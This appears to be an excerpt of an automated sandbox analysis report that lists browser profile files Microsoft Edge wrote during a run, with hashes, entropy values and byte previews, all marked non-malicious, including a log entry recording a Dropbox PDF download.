SHA-512:	33CBA63051377015531FB3A9824CFDFD7336B2E2196CC398CA9A402EE22B2678C8DDC51AE9584C5588D76D4781FABCB8C1753E46481054B0C7CD5F8B3E33B69D
Malicious:	false
Preview:	SQLite format 3......@ .......Y...........f......................................................j............O........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Web Data-journal

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	2568
Entropy (8bit):	0.06569804787746028
Encrypted:	false
SSDEEP:	3:PWY3lE/Pl9Wn:uYC/mn
MD5:	BB521BB55D56668820292D561B90B6A6
SHA1:	88B72257E8B3762E858EAB3EE8E7A7EBD4CE1F57
SHA-256:	A98B6048CABFF5A581038FB9FE521DC2BDB512BA45639A193864E84FEEB6268E
SHA-512:	60C8409E164C6E6F6EC2F3104A8FD11AEB2393C1702750245296FC898B34F9F2DFCC95F4B9CF4A8E290AC1562E2C61F3F7515226137F19B168A260DF7CD6B19A
Malicious:	false
Preview:	...................Y....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\WebAssistDatabase

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 10, database pages 7, cookie 0xb, schema 4, UTF-8, version-valid-for 10
Category:	dropped
Size (bytes):	14336
Entropy (8bit):	0.7836182415564406
Encrypted:	false
SSDEEP:	24:LLqlCouxhK3thdkSdj5QjUsEGcGBXp22iSBgm+xjgm:uOK3tjkSdj5IUltGhp22iSBgm+xj/
MD5:	AA9965434F66985F0979719F3035C6E1
SHA1:	39FC31CBB2BB4F8FA8FB6C34154FB48FBCBAEEF4
SHA-256:	F42877E694E9AFC76E1BBA279F6EC259E28A7E7C574EFDCC15D58EFAE06ECA09
SHA-512:	201667EAA3DF7DBCCF296DE6FCF4E79897C1BB744E29EF37235C44821A18EAD78697DFEB9253AA01C0DC28E5758E2AF50852685CDC9ECA1010DBAEE642590CEA
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j..................n..................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\WebStorage\QuotaManager

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 1, database pages 10, cookie 0x7, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	40960
Entropy (8bit):	0.41235120905181716
Encrypted:	false
SSDEEP:	48:Tnj7dojKsKmjKZKAsjZNOjAhts3N8g1j3UcB:v7doKsKuKZKlZNmu46yjx
MD5:	981F351994975A68A0DD3ECE5E889FD0
SHA1:	080D3386290A14A68FCE07709A572AF98097C52D
SHA-256:	3F0C0B2460E0AA2A94E0BF79C8944F2F4835D2701249B34A13FD200F7E5316D7
SHA-512:	C5930797C46EEC25D356BAEB6CFE37E9F462DEE2AE8866343B2C382DBAD45C1544EF720D520C4407F56874596B31EFD6822B58A9D3DAE6F85E47FF802DBAA20B
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j.......w..g...........M...w..........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\arbitration_service_config.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text, with very long lines (3951), with CRLF line terminators
Category:	dropped
Size (bytes):	11755
Entropy (8bit):	5.190465908239046
Encrypted:	false
SSDEEP:	192:hH4vrmqRBB4W4PoiUDNaxvR5FCHFcoaSbqGEDI:hH4vrmUB6W4jR3GaSbqGEDI
MD5:	07301A857C41B5854E6F84CA00B81EA0
SHA1:	7441FC1018508FF4F3DBAA139A21634C08ED979C
SHA-256:	2343C541E095E1D5F202E8D2A0807113E69E1969AF8E15E3644C51DB0BF33FBF
SHA-512:	00ADE38E9D2F07C64648202F1D5F18A2DFB2781C0517EAEBCD567D8A77DBB7CB40A58B7C7D4EC03336A63A20D2E11DD64448F020C6FF72F06CA870AA2B4765E0
Malicious:	false
Preview:	{.. "DefaultCohort": {.. "21f3388b-c2a5-4791-8f6e-a4cad6d17f4f.Bubble": 1,.. "2354565a-f412-4654-b89c-f92eaa9dbd20.BingHomePage.Bubble": 1,.. "2354565a-f412-4654-b89c-f92eaa9dbd20.Covid.Bubble": 1,.. "2354565a-f412-4654-b89c-f92eaa9dbd20.Finance.Bubble": 1,.. "2354565a-f412-4654-b89c-f92eaa9dbd20.Jobs.Bubble": 1,.. "2354565a-f412-4654-b89c-f92eaa9dbd20.KnowledgeCard.Bubble": 1,.. "2354565a-f412-4654-b89c-f92eaa9dbd20.Local.Bubble": 1,.. "2354565a-f412-4654-b89c-f92eaa9dbd20.NTP3PCLICK.Bubble": 1,.. "2354565a-f412-4654-b89c-f92eaa9dbd20.NotifySearchPage.Bubble": 1,.. "2354565a-f412-4654-b89c-f92eaa9dbd20.Recipe.Bubble": 1,.. "2354565a-f412-4654-b89c-f92eaa9dbd20.SearchPage.Bubble": 1,.. "2354565a-f412-4654-b89c-f92eaa9dbd20.Sports.Bubble": 1,.. "2354565a-f412-4654-b89c-f92eaa9dbd20.Travel.Bubble": 1,.. "2354565a-f412-4654-b89c-f92eaa9dbd20.Weather.Bubble": 1,.. "2cb2db96-3bd0-403e-abe2-9269b3761041.Bubble": 1,.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\c5a53ec5-eec5-4cc7-a8ad-c649e794c445.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	very short file (no magic)
Category:	dropped
Size (bytes):	1
Entropy (8bit):	0.0
Encrypted:	false
SSDEEP:	3:L:L
MD5:	5058F1AF8388633F609CADB75A75DC9D
SHA1:	3A52CE780950D4D969792A2559CD519D7EE8C727
SHA-256:	CDB4EE2AEA69CC6A83331BBE96DC2CAA9A299D21329EFB0336FC02A82E1839A8
SHA-512:	0B61241D7C17BCBB1BAEE7094D14B7C451EFECC7FFCBD92598A0F13D313CC9EBC2A07E61F007BAF58FBF94FF9A8695BDD5CAE7CE03BBF1E94E93613A00F25F21
Malicious:	false
Preview:	.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\d2eda1fd-09c0-4508-b758-32480e7ecc43.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	25012
Entropy (8bit):	5.568350464022205
Encrypted:	false
SSDEEP:	768:ZvC9z1WPK8fHG8F1+UoAYDCx9Tuqh0VfUC9xbog/OV+rvEUrw/pltuI:ZvC9z1WPK8fHGu1jaLjEN7tX
MD5:	5A543CCC01C641366C54E4D50DA34444
SHA1:	652312C20429B9485CF2271FF68795E087D03E08
SHA-256:	0D9F9D92C8C997BC8F96BED409442DE0E8259FCD706B241E4672184CF4BBAA25
SHA-512:	6C57330C084A46D7D6B04EF4030813EE28D27116F89712B5AD164D3669D736F80FA982874E84CA7865ADF97D40DC136C9DBB4E331427BE0313D38F6CF1005B2A
Malicious:	false
Preview:	{"edge_fundamentals_appdefaults":{"ess_lightweight_version":101},"ess_kv_states":{"restore_on_startup":{"closed_notification":false,"decrypt_success":true,"key":"restore_on_startup","notification_popup_count":0},"startup_urls":{"closed_notification":false,"decrypt_success":true,"key":"startup_urls","notification_popup_count":0},"template_url_data":{"closed_notification":false,"decrypt_success":true,"key":"template_url_data","notification_popup_count":0}},"extensions":{"settings":{"ahfgeienlihckogmohjhadlkjgocpleb":{"active_permissions":{"api":["management","system.display","system.storage","webstorePrivate","system.cpu","system.memory","system.network"],"explicit_host":[],"manifest_permissions":[],"scriptable_host":[]},"app_launcher_ordinal":"t","commands":{},"content_settings":[],"creation_flags":1,"events":[],"first_install_time":"13378835659899765","from_webstore":false,"incognito_content_settings":[],"incognito_preferences":{},"last_update_time":"13378835659899765","location":5,"ma

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\databases\Databases.db

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 1, database pages 7, cookie 0x4, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	28672
Entropy (8bit):	0.3410017321959524
Encrypted:	false
SSDEEP:	12:TLiqi/nGb0EiDFIlTSFbyrKZb9YwFOqAyl+FxOUwa5qgufTJpbZ75fOSG:TLiMNiD+lZk/Fj+6UwccNp15fBG
MD5:	98643AF1CA5C0FE03CE8C687189CE56B
SHA1:	ECADBA79A364D72354C658FD6EA3D5CF938F686B
SHA-256:	4DC3BF7A36AB5DA80C0995FAF61ED0F96C4DE572F2D6FF9F120F9BC44B69E444
SHA-512:	68B69FCE8EF5AB1DDA2994BA4DB111136BD441BC3EFC0251F57DC20A3095B8420669E646E2347EAB7BAF30CACA4BCF74BD88E049378D8DE57DE72E4B8A5FF74B
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j..........g.....P....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\f12573c4-d309-440c-80f5-6cadf81a045b.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	37817
Entropy (8bit):	5.5563076275629095
Encrypted:	false
SSDEEP:	768:Z6s9I77pLGLhP1WPK8fqG8F1+UoAYDCx9Tuqh0VfUC9xbog/OV8rv3Urw9oZDdKJ:Z6s9INchP1WPK8fqGu1jalj3N9oXMtH
MD5:	5F354C91405EDFE0EEB011BD3ECEBFBB
SHA1:	20A17D501D87A316F33A1BE5929C52304FF7FD21
SHA-256:	C948D2A4A24203E6C1447EC7CD221323C8B9D2671924D2BD7758B7AFFF0F484D
SHA-512:	709793328ADBBD778B30E97A3ABADEB08CE133B9741D77558B786E74EABF23F3EBC3C3D2A14926FCEAB58A961A2E02E48E4CF7D710FA36FD1E5E128486A182AE
Malicious:	false
Preview:	{"edge_fundamentals_appdefaults":{"ess_lightweight_version":101},"ess_kv_states":{"restore_on_startup":{"closed_notification":false,"decrypt_success":true,"key":"restore_on_startup","notification_popup_count":0},"startup_urls":{"closed_notification":false,"decrypt_success":true,"key":"startup_urls","notification_popup_count":0},"template_url_data":{"closed_notification":false,"decrypt_success":true,"key":"template_url_data","notification_popup_count":0}},"extensions":{"settings":{"ahfgeienlihckogmohjhadlkjgocpleb":{"active_permissions":{"api":["management","system.display","system.storage","webstorePrivate","system.cpu","system.memory","system.network"],"explicit_host":[],"manifest_permissions":[],"scriptable_host":[]},"app_launcher_ordinal":"t","commands":{},"content_settings":[],"creation_flags":1,"events":[],"first_install_time":"13378835659899765","from_webstore":false,"incognito_content_settings":[],"incognito_preferences":{},"last_update_time":"13378835659899765","location":5,"ma

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\heavy_ad_intervention_opt_out.db

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 2, database pages 4, cookie 0x2, schema 4, UTF-8, version-valid-for 2
Category:	dropped
Size (bytes):	16384
Entropy (8bit):	0.35226517389931394
Encrypted:	false
SSDEEP:	12:TLC+waBg9LBgVDBgQjiZBgKuFtuQkMbmgcVAzO5kMCgGUg5OR:TLPdBgtBgJBgQjiZS53uQFE27MCgGZsR
MD5:	D2CCDC36225684AAE8FA563AFEDB14E7
SHA1:	3759649035F23004A4C30A14C5F0B54191BEBF80
SHA-256:	080AEE864047C67CB1586A5BA5EDA007AFD18ECC2B702638287E386F159D7AEE
SHA-512:	1A915AF643D688CA68AEDC1FF26C407D960D18DFDE838B417C437D7ADAC7B91C906E782DCC414784E64287915BD1DE5BB6A282E59AA9FEB8C384B4D4BC5F70EC
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j.......Q......Q......................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\load_statistics.db-shm

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	32768
Entropy (8bit):	0.045436538590905934
Encrypted:	false
SSDEEP:	3:Gjtulll1jjkvbJq18Iebtulll1jjkvbJq18It3lL9//9lnl/tnl/bwl/wzl17llB:GYl/1jYDz7Al/1jYDzyZ9XHl/Vl/UwL
MD5:	B686E11BA02416390C4B1F955416E64A
SHA1:	1B6AB1C7594FAEECB0FC46C9B5984BEDBF479171
SHA-256:	E82543FAC12A6CAA0B0CFFE1FCB4EFC6E1D0646DA24EBAEED8F62730DD9A67D8
SHA-512:	706435BD99042EA6427C2159277EE0D28612398E8707B60F823E3F8909DFA14B42F78BF01F032311CC876C1FDCB0F3C8A219F62775A0191E6E866665D267D7F1
Malicious:	false
Preview:	..-.........................i.FAJ>O..$.O.i..^...-.........................i.FAJ>O..$.O.i..^.........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\load_statistics.db-wal

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	SQLite Write-Ahead Log, version 3007000
Category:	dropped
Size (bytes):	49472
Entropy (8bit):	0.3010297600319415
Encrypted:	false
SSDEEP:	24:KkpLGYGCNDDCmyYG0KdFGDGYGCkhv5mCqt/dFGwlAYGiKdFGYuWLkKdFGL30Lx59:tpphNDWmR8vKhWzO/v17+vSejviY
MD5:	D07CC5F3B897BCBB4592A445311A92DC
SHA1:	09184681E26C6D455EEE228A63CF8748D3E47C28
SHA-256:	6B9E5F0ED082B4C492C90339A212B4C9AD81FB658139E6E0642B3B0E4720A955
SHA-512:	E40795D606EDFD07CFF1F4A08F26063616F1328DD99AB820AAAA0C08B653F43542087748F888B64A341EB745546248D9085891EBE09BAA885994B2F30D8AEA0F
Malicious:	false
Preview:	7....-..........AJ>O..$.$%MT.2.z........AJ>O..$..SF.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\shared_proto_db\000001.dbtmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	16
Entropy (8bit):	3.2743974703476995
Encrypted:	false
SSDEEP:	3:1sjgWIV//Uv:1qIFUv
MD5:	46295CAC801E5D4857D09837238A6394
SHA1:	44E0FA1B517DBF802B18FAF0785EEEA6AC51594B
SHA-256:	0F1BAD70C7BD1E0A69562853EC529355462FCD0423263A3D39D6D0D70B780443
SHA-512:	8969402593F927350E2CEB4B5BC2A277F3754697C1961E3D6237DA322257FBAB42909E1A742E22223447F3A4805F8D8EF525432A7C3515A549E984D3EFF72B23
Malicious:	false
Preview:	MANIFEST-000001.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\shared_proto_db\000003.log

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	3972
Entropy (8bit):	6.102917097050642
Encrypted:	false
SSDEEP:	48:glKevvW2xJWqSTvW2xJWszmuRFYvW2xJWt31OuvW2xJWt31OB:tcbm1bmI7RGbmXnbmXG
MD5:	B52CFC4E5E79D3CB346E9AE8B0E681A9
SHA1:	051C576B46B518DA8B07FADCAA63A6893A9062E6
SHA-256:	3956BF2BE436F8B1D636109094A36845E9E8C5AC248FF6818C1BBA7DBE74B37F
SHA-512:	041AA9F73CDE34AED9C72332666987836835C3F1D7BAB4378626FA879393DD37C17E676268C7CADA59271F6B4CD426379A803052F2B4A2CD2D0F352FF3006CBA
Malicious:	false
Preview:	A..r.................20_1_1...1.,U.................20_1_1...1..&f...............2..6;...............#38_h.......6.Z..W.F.....p.......p...........+\|.0................39_config..........6.....n ...1V.e..................&.................021_download,d6ce2eca-b4af-47e2-90e7-515baf708cdd......$d6ce2eca-b4af-47e2-90e7-515baf708cdd...............m"...nhttps://www.dropbox.com/scl/fi/sirgrh5wcotr94vrt7u4y/Lewis-Silkin-LLP.pdf?rlkey=gy86lkfswaic1rpangjd98k9m&dl=1...https://uc598219f166c264ee6bbec26fb0.dl.dropboxusercontent.com/cd/0/get/CgXVDKGRmHwGsAR0ppOOIzGkg52xgGyEsqQSSQnuvFqqn8tALSbk1tp2odRSpWJ70hzqa-7TPMAE6RWDTbe3qnonre9p0AaxJYqM1NQdpADK5_9YHHzE8PDnsr6UIvbJh061-0dPrql3eXObDwSH8F9y/file?dl=1#.."nhttps://www.dropbox.com/scl/fi/sirgrh5wcotr94vrt7u4y/Lewis-Silkin-LLP.pdf?rlkey=gy86lkfswaic1rpangjd98k9m&dl=1*.0.B.1733684767914485dJ.P...Z.application/binaryb.application/binaryj.........r.........x....................................................................................... ..Q...

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\shared_proto_db\CURRENT (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	16
Entropy (8bit):	3.2743974703476995
Encrypted:	false
SSDEEP:	3:1sjgWIV//Uv:1qIFUv
MD5:	46295CAC801E5D4857D09837238A6394
SHA1:	44E0FA1B517DBF802B18FAF0785EEEA6AC51594B
SHA-256:	0F1BAD70C7BD1E0A69562853EC529355462FCD0423263A3D39D6D0D70B780443
SHA-512:	8969402593F927350E2CEB4B5BC2A277F3754697C1961E3D6237DA322257FBAB42909E1A742E22223447F3A4805F8D8EF525432A7C3515A549E984D3EFF72B23
Malicious:	false
Preview:	MANIFEST-000001.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\shared_proto_db\LOG

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	279
Entropy (8bit):	5.191448766208175
Encrypted:	false
SSDEEP:	6:7VFrD1wkn23oH+Tcwtfrl2KLlpXFQQ+q2Pwkn23oH+TcwtfrK+IFUv:7DyfYeb1LTXOvYfYeb23FUv
MD5:	2635369666C4BAE19F1D6CCA723399B1
SHA1:	EA61CF48FA5543454071B0DB44350ECFC57C7F63
SHA-256:	5DB0CC72E05606543CED44FDBCC5DEE83D3BFB239012FBDB73C721C71B3A58BB
SHA-512:	118433A7F9E4CB5D9C06AB6965C02B532D831D44BEB8F38109DC6C587971B7BD876A927291ACA4909AF5C29CF42C8E39EC776B12115D8B4928B1C76F56D20320
Malicious:	false
Preview:	2024/12/16-10:14:21.107 6b8 Creating DB C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\shared_proto_db since it was missing..2024/12/16-10:14:21.116 6b8 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\shared_proto_db/MANIFEST-000001.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\shared_proto_db\MANIFEST-000001

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	OpenPGP Secret Key
Category:	dropped
Size (bytes):	41
Entropy (8bit):	4.704993772857998
Encrypted:	false
SSDEEP:	3:scoBAIxQRDKIVjn:scoBY7jn
MD5:	5AF87DFD673BA2115E2FCF5CFDB727AB
SHA1:	D5B5BBF396DC291274584EF71F444F420B6056F1
SHA-256:	F9D31B278E215EB0D0E9CD709EDFA037E828F36214AB7906F612160FEAD4B2B4
SHA-512:	DE34583A7DBAFE4DD0DC0601E8F6906B9BC6A00C56C9323561204F77ABBC0DC9007C480FFE4092FF2F194D54616CAF50AECBD4A1E9583CAE0C76AD6DD7C2375B
Malicious:	false
Preview:	.\|.."....leveldb.BytewiseComparator......

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\shared_proto_db\metadata\000001.dbtmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	16
Entropy (8bit):	3.2743974703476995
Encrypted:	false
SSDEEP:	3:1sjgWIV//Uv:1qIFUv
MD5:	46295CAC801E5D4857D09837238A6394
SHA1:	44E0FA1B517DBF802B18FAF0785EEEA6AC51594B
SHA-256:	0F1BAD70C7BD1E0A69562853EC529355462FCD0423263A3D39D6D0D70B780443
SHA-512:	8969402593F927350E2CEB4B5BC2A277F3754697C1961E3D6237DA322257FBAB42909E1A742E22223447F3A4805F8D8EF525432A7C3515A549E984D3EFF72B23
Malicious:	false
Preview:	MANIFEST-000001.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\shared_proto_db\metadata\000003.log

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	617
Entropy (8bit):	3.949047921959319
Encrypted:	false
SSDEEP:	12:G0nYEQeeetU3p/Uz0RuWlJhC+lvBavRtin01zv0:G0nYEQR3RUovhC+lvBOL0
MD5:	EE5B47D224FE27A05467689F5B0678FA
SHA1:	35341CA4CC493FFC4939EB3D7D8E178D7D5028F9
SHA-256:	779E99DFF510FCAA7E0BBE155D9C33ABE7D6B82EEB40B91097E0E54499F06211
SHA-512:	CFD7F227195E51CC93DED600CDC5FDDD8689C924070F9F1E68CAD19EDB7937EACFBA00BA533A7592AA7664D749C756DA1A9A97EDD72EA6EF900782A968D944DE
Malicious:	false
Preview:	.h.6.................__global... .t...................__global... ..'i..................21_.....B....................33_......-.t.................21_......'..................33_.....<...................20_.....,.1..................19_.....QL.s.................18_.....<.J\|.................37_...... .A.................38_..........................39_........].................20_.....Owa..................20_.....`..N.................19_.....D8.X.................18_......`...................37_..........................38_......\e..................39_.....dz.\|.................9_.....'\c..................9_.....

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\shared_proto_db\metadata\CURRENT (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	16
Entropy (8bit):	3.2743974703476995
Encrypted:	false
SSDEEP:	3:1sjgWIV//Uv:1qIFUv
MD5:	46295CAC801E5D4857D09837238A6394
SHA1:	44E0FA1B517DBF802B18FAF0785EEEA6AC51594B
SHA-256:	0F1BAD70C7BD1E0A69562853EC529355462FCD0423263A3D39D6D0D70B780443
SHA-512:	8969402593F927350E2CEB4B5BC2A277F3754697C1961E3D6237DA322257FBAB42909E1A742E22223447F3A4805F8D8EF525432A7C3515A549E984D3EFF72B23
Malicious:	false
Preview:	MANIFEST-000001.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\shared_proto_db\metadata\LOG

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	297
Entropy (8bit):	5.172692294126144
Encrypted:	false
SSDEEP:	6:7681wkn23oH+Tcwtfrzs52KLlphQ+q2Pwkn23oH+TcwtfrzAdIFUv:76bfYebs9LTbvYfYeb9FUv
MD5:	9B763A5234E51CB2FC406D740A8A60F0
SHA1:	98F84086C816B4EE178705D575CD5C1D5DE35875
SHA-256:	4A469D6EB2B547C39446A47D3DA8BEF2E7566062701A68BA357A94A9C881121E
SHA-512:	5E1AE38C12BBE660A75E0CC619994214822B0930A7897E9209016390ADBF25495ECAF3807AFB4F7AE281F55457EF822D8C0BF8D8CCAA65C7937C787D5874DA19
Malicious:	false
Preview:	2024/12/16-10:14:20.713 6b8 Creating DB C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\shared_proto_db\metadata since it was missing..2024/12/16-10:14:21.104 6b8 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\shared_proto_db\metadata/MANIFEST-000001.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\shared_proto_db\metadata\MANIFEST-000001

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	OpenPGP Secret Key
Category:	dropped
Size (bytes):	41
Entropy (8bit):	4.704993772857998
Encrypted:	false
SSDEEP:	3:scoBAIxQRDKIVjn:scoBY7jn
MD5:	5AF87DFD673BA2115E2FCF5CFDB727AB
SHA1:	D5B5BBF396DC291274584EF71F444F420B6056F1
SHA-256:	F9D31B278E215EB0D0E9CD709EDFA037E828F36214AB7906F612160FEAD4B2B4
SHA-512:	DE34583A7DBAFE4DD0DC0601E8F6906B9BC6A00C56C9323561204F77ABBC0DC9007C480FFE4092FF2F194D54616CAF50AECBD4A1E9583CAE0C76AD6DD7C2375B
Malicious:	false
Preview:	.\|.."....leveldb.BytewiseComparator......

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\GrShaderCache\data_0

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	FoxPro FPT, blocks size 512, next free block index 3284796609, field type 0
Category:	dropped
Size (bytes):	8192
Entropy (8bit):	0.01057775872642915
Encrypted:	false
SSDEEP:	3:MsFl:/F
MD5:	CF89D16BB9107C631DAABF0C0EE58EFB
SHA1:	3AE5D3A7CF1F94A56E42F9A58D90A0B9616AE74B
SHA-256:	D6A5FE39CD672781B256E0E3102F7022635F1D4BB7CFCC90A80FFFE4D0F3877E
SHA-512:	8CB5B059C8105EB91E74A7D5952437AAA1ADA89763C5843E7B0F1B93D9EBE15ED40F287C652229291FAC02D712CF7FF5ECECEF276BA0D7DDC35558A3EC3F77B0
Malicious:	false
Preview:	............$...........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\GrShaderCache\data_1

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	270336
Entropy (8bit):	8.280239615765425E-4
Encrypted:	false
SSDEEP:	3:MsEllllkEthXllkl2:/M/xT02
MD5:	D0D388F3865D0523E451D6BA0BE34CC4
SHA1:	8571C6A52AACC2747C048E3419E5657B74612995
SHA-256:	902F30C1FB0597D0734BC34B979EC5D131F8F39A4B71B338083821216EC8D61B
SHA-512:	376011D00DE659EB6082A74E862CFAC97A9BB508E0B740761505142E2D24EC1C30AA61EFBC1C0DD08FF0F34734444DE7F77DD90A6CA42B48A4C7FAD5F0BDDD17
Malicious:	false
Preview:	........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\GrShaderCache\data_2

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	8192
Entropy (8bit):	0.011852361981932763
Encrypted:	false
SSDEEP:	3:MsHlDll:/H
MD5:	0962291D6D367570BEE5454721C17E11
SHA1:	59D10A893EF321A706A9255176761366115BEDCB
SHA-256:	EC1702806F4CC7C42A82FC2B38E89835FDE7C64BB32060E0823C9077CA92EFB7
SHA-512:	F555E961B69E09628EAF9C61F465871E6984CD4D31014F954BB747351DAD9CEA6D17C1DB4BCA2C1EB7F187CB5F3C0518748C339C8B43BBD1DBD94AEAA16F58ED
Malicious:	false
Preview:	........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\GrShaderCache\data_3

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	8192
Entropy (8bit):	0.012340643231932763
Encrypted:	false
SSDEEP:	3:MsGl3ll:/y
MD5:	41876349CB12D6DB992F1309F22DF3F0
SHA1:	5CF26B3420FC0302CD0A71E8D029739B8765BE27
SHA-256:	E09F42C398D688DCE168570291F1F92D079987DEDA3099A34ADB9E8C0522B30C
SHA-512:	E9A4FC1F7CB6AE2901F8E02354A92C4AAA7A53C640DCF692DB42A27A5ACC2A3BFB25A0DE0EB08AB53983132016E7D43132EA4292E439BB636AAFD53FB6EF907E
Malicious:	false
Preview:	........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\GrShaderCache\index

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	FoxPro FPT, blocks size 768, next free block index 3284796353, field type 0
Category:	dropped
Size (bytes):	262512
Entropy (8bit):	9.553120663130604E-4
Encrypted:	false
SSDEEP:	3:LsNl1Ofi+X:Ls3Efi+X
MD5:	DDFBD1CE9FF00EB4F7B156F0932A0FA7
SHA1:	5DBD2DC028764EF06819906B9900C4BA179DA4EE
SHA-256:	D9E0E1DF29616CF8F29D8D606D38FF2A7DC3F6402247BB48617AC959CC2E6458
SHA-512:	3259F333880B39EF619E35AB7F2A1087200F66F92C7733ECDA20161E49859221C20B5B0314AE925B30314FECDFF70FAC9B3AEF99C29B2B95B68960832B317CB3
Malicious:	false
